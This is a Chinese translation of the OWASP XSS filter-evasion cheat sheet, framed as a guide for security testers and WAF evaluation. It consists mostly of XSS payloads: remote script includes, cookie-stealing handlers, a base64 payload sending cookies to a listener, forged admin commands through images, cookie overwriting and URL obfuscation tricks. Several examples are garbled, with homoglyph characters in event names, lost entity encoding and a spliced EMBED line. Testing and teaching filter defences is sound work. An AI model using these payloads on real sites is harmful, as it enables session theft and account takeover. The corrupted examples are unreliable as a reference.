本文旨在为应用程序安全测试专业人员提供指南,以协助进行跨站点脚本测试。源自于OWASP跨站脚本预防备忘单。本文列出了一系列XSS攻击,可用于绕过某些XSS防御filter。针对输入进行过滤是不完全是XSS的防御方法,可以使用这些payload来测试网站在防护XSS攻击方面的能力,希望你的WAF产品能拦截下面所有的payload。
The OWASP® Foundation works to improve the security of software through its community-led open source software projects, hundreds of chapters worldwide, tens of thousands of members, and by hosting local and global conferences.
XSS攻击原理:
攻击者向有XSS漏洞的网站中置入精心构造恶意的HTML代码,当用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。
XSS攻击可以分成两种类型:一种是非持久型XSS攻击 一种是持久型XSS攻击。
反射型:请求地址上加入恶心的HTML代码。
dom型:api向网站注入一些恶意的HTML代码
持久性:攻击者把恶意代码提交到后台数据库中,当用户下次打开的时候就会从后台接收这些恶意的代码。
防范:
前端通过转义来进行防范和过滤
后端主要是通过WAF正则+OWASP规则+XSS语义分析+机器学习payload特征进行防卫。
普通的XSS JavaScript注入:
很可能会被过滤,建议先尝试一下(现代浏览器中都不需要引号,因此此处将其省略)
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
XSS有效负载,该测试将在多个上下文中执行,包括html,脚本字符串,js和url:
javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'>
使用JavaScript指令的IMG SRC XSS,注: IE7.0在图像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:
<IMG SRC="javascript:alert('XSS');">
没有引号也没分号情况:
<IMG SRC=javascript:alert('XSS')>
大小写混淆的 XSS攻击payload:
<IMG SRC=JaVaScRiPt:alert('XSS')>
HTML实体,必须使用分号:
<IMG SRC=javascript:alert("XSS")>
同时使用双引号和单引号,则可以使用重音符来封装JavaScript字符串,因为许多跨站点脚本过滤器都不知道重音符:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
畸形的a标签,跳过HREF属性:
<a οnmοuseοver="alert(document.cookie)">xxs link</a>
Chrome浏览器喜欢为替换丢失的引号,Chrome会将其放在正确的位置,并在URL或脚本上修复丢失的引号。
<a οnmοuseοver=alert(document.cookie)>xxs link</a>
格式错误的IMG标签,封装在引号中的IMG标签内创建我们的XSS矢量,为了纠正草率的编码。这将使正确解析HTML标记变得更加困难:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
fromCharCode源字符码,不允许任何类型的引号,可以在JavaScript中eval()a fromCharCode来创建所需的XSS向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
默认SRC标记可获取过去检查SRC域名的filter,这将绕过大多数SRC域过滤器。在事件方法中插入javascript还将适用于任何使用Form,Iframe,Input,Embed等元素的HTML标记类型注入。这还将允许您将标记类型的任何相关事件替换为onblur
,onclick
从而为您提供大量的这里列出的许多注射的变化:
<IMG SRC=# οnmοuseοver="alert('xxs')">
保留默认的SRC标签为空:
<IMG SRC= οnmοuseοver="alert('xxs')">
Default SRC tag by leaving it out entirely,完全忽略src:
<IMG οnmοuseοver="alert('xxs')">
错误提示 onerror alert:
<IMG SRC=/ οnerrοr="alert(String.fromCharCode(88,83,83))"></img>
IMG onerror and javascript alert 编码:
<img src=x οnerrοr="javascript:alert('XSS')">
Decimal HTML character references,十进制字符引用,在<IMG
标记内使用javascript:指令的所有XSS示例都无法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中运行):
<IMG SRC=javascript:alert('XSS')>
十进制html字符引用,without trailing semicolons,同上+没有尾随分号,这在尝试查找“&#XX;”的XSS中通常很有效,因为大多数人都不了解填充-总共最多7个数字字符。这对于使用$ tmp_string =〜s /.*\&#(\ d +);。* / $ 1 /;等字符串进行解码的人也很有用。这错误地假设需要使用分号来终止html编码的字符串:
<IMG SRC=javascript:alert('XSS')>
十六进制html字符引用,without trailing semicolons,不带尾部分号:
<IMG SRC=javascript:alert('XSS')>
嵌入标签,用于破坏跨站点脚本攻击:
<IMG SRC="jav ascript:alert('XSS');">
嵌入编码标签,用于分解XSS:
<IMG SRC="jav	ascript:alert('XSS');">
嵌入换行分解XSS:
<IMG SRC="jav
ascript:alert('XSS');">
Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details
嵌入carriage返回分解 XSS:
\x0D是十六进制,也就是13所对就在的ASCII码字符,也就是回车符
<IMG SRC="jav
ascript:alert('XSS');">
null分解js指令,但是空字符%00更有用,它帮助我绕过了某些现实世界的过滤器:
perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out
XSS图像中JavaScript之前的空格和元字符:
错误地假设引号和“javascript:”关键字之间不能有空格,则这非常有用。实际情况是,您可以使用小数点后1-32之间的任何字符
<IMG SRC="  javascript:alert('XSS');">
非字母非数字XSS:
Firefox HTML解析器假设非alpha非数字在HTML关键字后无效,认为它是HTML标记后的空白或无效标记。
一些XSS过滤器假定它们要查找的标记被空白分隔开。例如“<SCRIPT\s”!=“<SCRIPT/XSS\s”。
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
Gecko呈现引擎允许在事件处理程序和等号之间使用除字母、数字或封装字符(如引号、尖括号等)以外的任何字符,从而更容易绕过跨站点脚本块。
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
多余的开放括号:
某些检测引擎使用成对的开闭尖括号,然后对标签进行比较,
双斜线注释了结束的无关括号,以抑制JavaScript错误。
<<SCRIPT>alert("XSS");//<</SCRIPT>
没有结束脚本tag:
在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您实际上不需要这个跨站点脚本向量的“></SCRIPT>”部分。
Firefox assumes it's safe to close the HTML tag and add closing tags for you。
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
js tag中的协议解析:
如果在末尾添加</SCRIPT>标记,Opera中工作,Netscape在IE呈现模式下工作,,
<SCRIPT SRC=//xss.rocks/.j>
半开HTML/JavaScript xss:
与Firefox不同,IE渲染引擎不向页面添加额外数据,但它允许在图像中使用javascript:指令。
它不需要闭合尖括号,假设下面有任何HTML标记,您将在其中注入此跨站点脚本向量。即使没有关闭“>”标签,下面的标签也会关闭它。
<IMG SRC="javascript:alert('XSS')"
Double open angle brackets双开角括号:
在矢末尾使用开放尖括号。
如果没有它,Firefox将工作,但Netscape不会。
<iframe src=http://xss.rocks/scriptlet.html <
转义JavaScript转义:
在JavaScript中输出一些用户信息,如:<SCRIPT>var a=“$ENV{QUERY_STRING}”;</SCRIPT>
将自己的JavaScript注入其中,但是服务器端应用程序会转义某些引号,您可以通过转义它们的转义字符来绕过这些引号。
当它被注入时,它将读取<SCRIPT>var a=“\\”;alert('XSS');//“;</SCRIPT>,最后将取消对双引号的转义,并导致跨站点脚本向量触发。
\";alert('XSS');//
如果对嵌入的数据应用了正确的JSON或Javascript转义,而不是HTML编码,则完成脚本块并启动。
</script><script>alert('XSS');</script>
结束标签tag:
关闭<TITLE>标记的简单XSS向量,可以封装恶意跨站点脚本攻击。
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT image:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
BODY image:
<BODY BACKGROUND="javascript:alert('XSS')">
IMG Dynsrc:
<IMG DYNSRC="javascript:alert('XSS')">
IMG lowsrc:
<IMG LOWSRC="javascript:alert('XSS')">
List-style-image:
处理为项目符号列表嵌入图像的相当深奥的问题,这只适用于IE呈现引擎。不是一个特别有用的跨站点脚本。
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
VBscript in an image:
<IMG SRC='vbscript:msgbox("XSS")'>
Livescript(仅限旧版本的Netscape):
<IMG SRC="livescript:[code]">
SVG对象标记:
<svg/οnlοad=alert('XSS')>
SVG object tag:
<svg/οnlοad=alert('XSS')>
ECMAScript 6:
Set.constructor`alert\x28document.domain\x29```
BODY tag:
不需要使用“javascript:”或“<SCRIPT…”的任何变体来完成XSS攻击,
可以在等号前加一个空格(“οnlοad=”!=“οnlοad=”)。
<BODY ONLOAD=alert('XSS')>
事件句柄:
FSCommand() (攻击者可以在嵌入式Flash对象中执行此操作)
onAbort() (当用户中止加载图像时)
onActivate() (当对象设置为活动元素时)
onAfterPrint() (在用户打印或预览打印作业后激活)
onAfterUpdate() (更新源对象中的数据后在数据对象上激活)
onBeforeActivate() (在对象设置为活动元素之前激发)
onBeforeCopy() (攻击者在将选定内容复制到剪贴板之前执行攻击字符串-攻击者可以使用execCommand(“Copy”)函数执行此操作)
onBeforeCut() (攻击者在剪切选定内容之前执行攻击字符串)
onBeforeDeactivate() (从当前对象更改activeElement后立即激发)
onBeforeEditFocus() (在可编辑元素中包含的对象进入UI激活状态之前,或在选中可编辑容器对象时激发)
onBeforePaste() (需要诱使用户粘贴或使用execCommand(“粘贴”)函数强制用户粘贴)
onBeforePrint() (需要诱使用户进行打印,否则攻击者可以使用print()或execCommand(“print”)函数).
onBeforeUnload() (需要诱使用户关闭浏览器-攻击者无法卸载windows,除非它是从父级派生的)
onBeforeUpdate() (在更新源对象中的数据之前在数据对象上激活)
onBegin() (onbegin事件在元素的时间线开始时立即激发)
onBlur() (如果加载了另一个弹出窗口and window looses focus)
onBounce() (当选取框对象的behavior属性设置为“alternate”并且选取框的内容到达窗口的一侧时激发)
onCellChange() (当数据提供程序中的数据更改时触发)
onChange() (“选择”、“文本”或“文本区域”字段失去focus,其值已被修改)
onClick() (有人点击表单)
onContextMenu() (用户需要鼠标右击攻击区域)
onControlSelect() (当用户要对对象进行控件选择时触发)
onCopy() (用户需要复制某些内容,或者可以使用execCommand(“copy”)命令利用它)
onCut() (用户需要复制某些内容,或者可以使用execCommand(“Cut”)命令利用它)
onDataAvailable() (用户需要更改元素中的数据,否则攻击者可以执行相同的功能)
onDataSetChanged() (当数据源对象公开的数据集更改时触发)
onDataSetComplete() (触发以指示数据源对象中的所有数据都可用)
onDblClick() (用户双击表单元素或链接)
onDeactivate() (当activeElement从当前对象更改为父文档中的另一个对象时激发)
onDrag() (要求用户拖动对象)
onDragEnd() (要求用户拖动对象)
onDragLeave() (要求用户将对象拖离有效位置)
onDragEnter() (要求用户将对象拖到有效位置)
onDragOver() (要求用户将对象拖到有效位置)
onDragDrop() (用户将对象(如文件)放到浏览器窗口中)
onDragStart() (在用户启动拖动操作时发生)
onDrop() (用户将对象(如文件)放到浏览器窗口中)
onEnd() (当时间线结束时,onEnd事件将触发)
onError() (加载文档或图像会导致错误)
onErrorUpdate() (当更新数据源对象中的关联数据时出错时,对数据绑定对象触发)
onFilterChange() (在视觉筛选器完成状态更改时触发)
onFinish() (当选取框完成循环时,攻击者可以创建攻击)
onFocus() (当窗口获得焦点时,攻击者执行攻击字符串)
onFocusIn() (当窗口获得焦点时,攻击者执行攻击字符串)
onFocusOut() (当窗口失去焦点时,攻击者执行攻击字符串)
onHashChange() (当文档当前地址的片段标识符部分更改时触发)
onHelp() (当用户在窗口处于焦点时点击F1时,攻击者执行攻击字符串)
onInput() (元素的文本内容通过用户界面更改)
onKeyDown() (用户按下键触发)
onKeyPress() (用户按下或按住键)
onKeyUp() (用户松开按键)
onLayoutComplete() (用户必须打印或打印预览)
onLoad() (攻击者在窗口加载后执行攻击字符串)
onLoseCapture() (可被releaseCapture()方法利用)
onMediaComplete() (当使用流媒体文件时,此事件可能在文件开始播放之前触发)
onMediaError() (用户在浏览器中打开包含媒体文件的页面,当出现问题时触发事件)
onMessage() (当文档收到消息时触发)
onMouseDown() (攻击者需要让用户单击图像)
onMouseEnter() (光标在对象或区域上移动)
onMouseLeave() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)
onMouseMove() (攻击者需要让用户将鼠标移到图像或表上)
onMouseOut() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)
onMouseOver() (光标在对象或区域上移动)
onMouseUp() (攻击者需要让用户单击图像)
onMouseWheel() (攻击者需要让用户使用鼠标滚轮)
onMove() (用户或攻击者会移动页面)
onMoveEnd() (用户或攻击者会移动页面)
onMoveStart() (用户或攻击者会移动页面)
onOffline() (如果浏览器在联机模式下工作并且开始脱机工作,则发生)
onOnline() (如果浏览器在脱机模式下工作并且开始联机工作,则发生)
onOutOfSync() (中断元素播放时间线定义的媒体的能力)
onPaste() (用户需要粘贴或攻击者可以使用execCommand(“粘贴”)函数)
onPause() (当时间线暂停时,onpause事件将对每个活动的元素(包括body元素)触发)
onPopState() (当用户导航会话历史记录时激发)
onProgress() (攻击者会将此用作正在加载的flash电影)
onPropertyChange() (用户或攻击者需要更改元素属性)
onReadyStateChange() (用户或攻击者需要更改元素属性)
onRedo() (用户在撤消事务历史记录中前进)
onRepeat() (事件在时间线的每次重复中触发一次,第一个完整周期除外)
onReset() (用户或攻击者重置窗体)
onResize() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化:<SCRIPT>self.resizeTo(500400);</SCRIPT>)
onResizeEnd() (用户将调整窗口大小;攻击者可以使用以下内容自动初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeStart() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResume() (onresume事件对时间线恢复时变为活动的每个元素(包括body元素)触发)
onReverse() (如果元素的repeatCount大于1,则每次时间线开始向后播放时都会触发此事件)
onRowsEnter() (用户或攻击者需要更改数据源中的行)
onRowExit() (用户或攻击者需要更改数据源中的行)
onRowDelete() (用户或攻击者需要删除数据源中的行)
onRowInserted() (用户或攻击者需要在数据源中插入一行)
onScroll() (用户需要滚动,否则攻击者可以使用scrollBy()函数)
onSeek() (onreverse事件在时间线设置为沿除forward以外的任何方向播放时触发)
onSelect() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)
onSelectionChange() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)
onSelectStart() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)
onStart() (在每个选框循环的开始处激发)
onStop() (用户需要按下停止按钮或离开网页)
onStorage() (存储区域已更改)
onSyncRestored() (用户中断元素的播放时间线定义的媒体的能力)
onSubmit() (需要攻击者或用户提交表单)
onTimeError() (用户或攻击者将时间属性(如dur)设置为无效值)
onTrackChange() (用户或攻击者更改播放列表中的playlist)
onUndo() (用户在撤消事务历史记录中返回)
onUnload() (当用户单击任何链接或按下后退按钮时,攻击者会强制单击)
onURLFlip() (当由HTML+TIME(定时交互式多媒体扩展)媒体标记播放的高级流式格式(ASF)文件处理嵌入在ASF文件中的脚本命令时,会触发此事件)
seekSegmentTime() (这是一个在元素的段时间线上定位指定点并从该点开始播放的方法。该段由一个重复的时间线组成,包括使用AUTOREVERSE属性的反向播放。)
BGSOUND:
<BGSOUND SRC="javascript:alert('XSS');">
& JavaScript includes:
<BR SIZE="&{alert('XSS')}">
STYLE sheet:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
远程样式表Remote style sheet:
使用像远程样式表这样简单的东西,您可以包括XSS,因为可以使用嵌入式表达式重新定义样式参数。)
这仅在IE和Netscape 8.1+的IE渲染引擎模式下有效。
注意:对于所有这些远程样式表示例,它们都使用body标记,因此除非页面上有向量本身以外的其他内容,否则无法工作。
因此,如果页面是空白页面,则需要向该页面添加一个字母使其工作
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
远程样式表Remote style sheet2:
工作原理与上述相同,但使用<STYLE>标记而不是<LINK>标记)。
这个向量的一个微小变化被用来攻击谷歌桌面。另外,如果在向量之后立即有HTML来关闭end</STYLE>标记,则可以将其删除。
如果在跨站点脚本攻击中不能有等号或斜线(在现实世界中至少出现过一次),则这非常有用.
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
远程样式表Remote style sheet3:
这只适用于Opera8.0(不再适用于9.x),但相当棘手。根据RFC2616设置,链接头不是HTTP1.1规范的一部分,但是一些浏览器仍然允许它(比如Firefox和Opera)。
这里的诀窍是,我设置了一个头(基本上与HTTP头中的Link:<HTTP://xss.rocks/xss.css>;REL=style sheet没什么不同),
而带有跨站点脚本向量的远程样式表正在运行JavaScript,这在FireFox中是不受支持的。
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
远程样式表Remote style sheet4:
这只适用于Gecko渲染引擎,并通过将XUL文件绑定到父页面来工作。我认为讽刺的是,Netscape认为Gecko更安全,因此对绝大多数网站来说都很脆弱。
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
带有用于XSS的分解JavaScript的STYLE标记STYLE tags with broken up JavaScript for XSS:
此XSS有时会将IE发送到无限循环的警报中。
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
STYLE attribute using a comment to break up expression使用注释拆分表达式的STYLE属性:
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
带表达式的IMG样式:
这实际上是上述XSS向量的混合,但它确实显示了分离样式标记的难度,就像上面所说的,这可以将IE发送到循环中。
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
STYLE tag (Older versions of Netscape only):
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
STYLE tag using background-image:
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
STYLE tag using background:
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
具有STYLE属性的匿名HTMLAnonymous HTML with STYLE attribute:
IE6和Netscape 8.1 +在IE渲染引擎模式中并不真正关心你构建的HTML标签是否存在,只要它从一个打开的角度括号和一个字母开始.
<XSS STYLE="xss:expression(alert('XSS'))">
Local htc file本地htc文件:
这与上面两个跨站点脚本向量略有不同,因为它使用的.htc文件必须与XSS向量位于同一服务器上。
示例文件的工作方式是:拉入JavaScript并将其作为style属性的一部分运行.
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII encoding:
它使用格式错误的ASCII编码,使用7位而不是8位。此XSS可以绕过许多内容过滤器,
但仅在主机使用US-ASCII编码传输或您自己设置编码时才起作用。
这对于web应用程序防火墙跨站点脚本规避比服务器端筛选器规避更有用。
Apache Tomcat是唯一已知的以US-ASCII编码传输的服务器。
¼script¾alert(¢XSS¢)¼/script¾
META:
meta-refresh的奇怪之处在于它没有在头中发送referer,因此它可以用于某些类型的攻击,在这些攻击中,您需要删除引用的url。
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
META using data:
指令URL方案。这很好,因为它也没有任何明显包含脚本或JavaScript指令的东西,因为它使用base64编码。
请参阅RFC2397了解更多详细信息,或在这里或这里编码您自己的。如果您只想对原始HTML或JavaScript进行编码,
也可以使用下面的XSS计算器,因为它具有Base64编码方法。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
META with additional URL parameter:
如果目标网站试图查看URL开头是否包含“http://”。
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
IFRAME:
If iframes are allowed there are a lot of other XSS problems as well。
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
IFRAME Event based:
IFrames和大多数其他元素可以使用基于事件的mayhem,如下所示。。。
<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>
FRAME:
Frames have the same sorts of XSS problems as iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE:
<TABLE BACKGROUND="javascript:alert('XSS')">
TD:
正如上面所述,TD很容易受到包含JavaScript XSS向量的背景的攻击。
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV:
DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV background-image with unicoded XSS exploit:
这已经被稍微修改,以混淆url参数。
<DIV STYLE="background-image:07507206C028'06a06107606107306307206907007403a06106c065072074028.1027058.1053053027029'029">
DIV background-image plus extra characters额外字符:
在IE和Netscape 8.1中的安全站点模式下,在开括号之后、JavaScript指令之前允许的任何错误字符。这些是十进制的,但是当然可以包括十六进制和添加填充。
可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV expression:
这种方法的一个变体对现实世界中使用冒号和“表达式”之间的换行符的跨站点脚本过滤器是有效的.
<DIV STYLE="width: expression(alert('XSS'));">
Downlevel-Hidden block:
仅适用于IE5.0及更高版本,Netscape 8.1适用于IE渲染引擎模式)。有些网站认为评论块中的任何内容都是安全的,因此不需要删除,这就允许我们使用跨站点脚本。
或者系统可以在某些东西周围添加注释标记,试图使其无害化。如我们所见,这可能不起作用.
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
BASE tag:
在IE和Netscape 8.1中以安全模式工作。您需要//来注释掉下一个字符,这样就不会出现JavaScript错误,XSS标记将呈现。
此外,这依赖于网站使用动态放置的图像,如“images/image.jpg”,而不是完整路径。
如果路径包含一个前导正斜杠,如“/images/image.jpg”,则可以从该向量中删除一个斜杠(只要有两个斜杠开始注释,则此操作有效)
<BASE HREF="javascript:alert('XSS');//">
OBJECT tag:
如果它们允许对象,您还可以注入病毒有效负载以感染用户等,与APPLET标记相同)。链接文件实际上是一个HTML文件,可以包含您的XSS.
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
使用嵌入标记可以嵌入包含xss的Flash电影:
单击此处进行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”属性,则可以降低此风险.
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>
You can EMBED SVG which can contain your XSS vector:
这个例子只适用于Firefox,但它比Firefox中的上述向量要好,因为它不需要用户打开或安装Flash。
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm0yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
在flash中使用ActionScript会混淆XSS向量:
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
带有CDATA混淆的XML数据:
此XSS攻击仅在IE渲染引擎模式下的IE和Netscape 8.1中有效.
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
使用XML数据岛生成的嵌入JavaScript的本地托管XML:
这与上面的相同,但引用的是包含跨站点脚本向量的本地托管(必须位于同一服务器上)XML文件。
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
HTML+TIME in XML:
这只适用于IE呈现引擎模式下的Internet Explorer和Netscape 8.1,请记住,您需要介于HTML和正文标记之间才能工作.
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
假设您只能容纳几个字符,并且它会过滤“.js”:
您可以将JavaScript文件重命名为图像作为XSS向量.
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
SSI (Server Side Includes):
这需要在服务器上安装SSI才能使用此XSS向量。我可能不需要提及这一点,但如果您可以在服务器上运行命令,无疑会出现更严重的问题.
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
PHP:
需要在服务器上安装PHP才能使用此XSS向量。同样,如果你能像这样远程运行任何脚本,可能会有更可怕的问题.
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
IMG Embedded commands:
当插入此内容的网页(如网页板)位于密码保护之后,并且密码保护与同一域上的其他命令一起工作时,此操作有效。
这可用于删除用户、添加用户(如果访问该页的用户是管理员)、将凭据发送到其他位置等。。。。这是使用较少但更有用的XSS向量之一.
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
IMG Embedded commands part II:
这更可怕,因为除了它不在您自己的域中之外,没有任何标识使它看起来可疑。
向量使用302或304(其他也可以)将图像重定向回命令。
因此,一个普通的<IMG SRC=“httx://badguy.com/a.jpg”>实际上可能是一个攻击向量,作为查看图像链接的用户运行命令。
下面是.htaccess(在Apache下)行来完成向量.
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Cookie 篡改:
不可否认,这是相当模糊的,但我看到了几个例子,其中<META是允许的,您可以使用它覆盖cookies。
还有其他一些站点的例子,其中存储在cookie中的用户名不是从数据库中获取的,而是只显示给访问页面的用户。
结合这两个场景,您可以修改受害者的cookie,该cookie将以JavaScript的形式显示给他们
(您还可以使用它来注销或更改他们的用户状态,让他们以您的身份登录,等等)。
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
UTF-7 encoding:
如果XSS所在的页面没有提供页面字符集头,或者任何设置为UTF-7编码的浏览器都可以使用以下内容。
单击此处获取示例(如果用户的浏览器设置为“自动检测”,并且在Internet Explorer和IE呈现引擎模式下的Netscape 8.1中没有覆盖页面上的内容类型,则不需要charset语句)。
这在任何现代浏览器中都无法工作,除非更改编码类型,这就是为什么将其标记为完全不受支持的原因。Watchfire在Google的自定义404脚本中发现了这个漏洞
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
使用HTML引号封装的XSS:
这是IE测试的,你的里程数可能会有所不同。对于允许“<SCRIPT>”但不允许“<SCRIPT SRC…”通过regex过滤器“/<SCRIPT[^>]+SRC/i”的站点执行XSS。
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
用于在允许“<SCRIPT>”但不允许“<SCRIPT src…”的站点上
通过regex过滤器“/<SCRIPT”((\s+\w+(\s*=\s*)(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
还有另一个xs要避开同一个过滤器,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“。
我知道我说过我不打算讨论缓解技术,但是如果您仍然希望允许<SCRIPT>标记,而不是远程脚本,
那么对于这个XSS示例,我看到的唯一有用的东西是一个状态机(当然,如果允许<SCRIPT>标记,还有其他方法可以绕过这个问题).
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
最后一次XSS攻击是为了躲避,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“使用重音符(同样,在Firefox中不起作用).
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
下面是一个XSS示例,它打赌regex不会捕获匹配的一对引号,而是会找到任何引号来不正确地终止参数字符串.
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
这个XSS仍然让我担心,因为如果不阻止所有活动内容,几乎不可能停止它.
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
URL字符串规避类:
假设“http://www.google.com/”在语法上是不允许的.
IP versus hostname:
<A HREF="http://66.102.7.147/">XSS</A>
URL encoding
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
Dword encoding:
注意:还有其他的Dword编码变体-请参阅下面的IP混淆计算器以了解更多详细信息.
<A HREF="http://1113982867/">XSS</A>
Hex encoding十六进制:
允许的每个数字的总大小大约为240个字符,如您在第二个数字上看到的,并且由于十六进制数字介于0和F之间,因此不需要在第三个十六进制引号上的前导零).
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Octal encoding八进制:
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Base64 encoding:
<img οnlοad="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
Mixed encoding:
让我们混合和匹配基本编码,并加入一些制表符和换行符-为什么浏览器允许这样做,我永远不会知道)。制表符和换行符只有在用引号封装时才起作用。
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
协议解析旁路:
(//转换为http:/,这将保存更多的字节)。当空间也是一个问题时(少两个字符会有很长的路要走),
这真的很方便,而且可以轻松地绕过类似regex的“(ht | f)tp(s)?“//”。
您也可以将“/”改为“\\”。但是,您确实需要保留斜杠,否则这将被解释为相对路径URL。
<A HREF="//www.google.com/">XSS</A>
Google "feeling lucky" part 1.:
Firefox使用Google的“感觉幸运”功能将用户重定向到你输入的任何关键词。
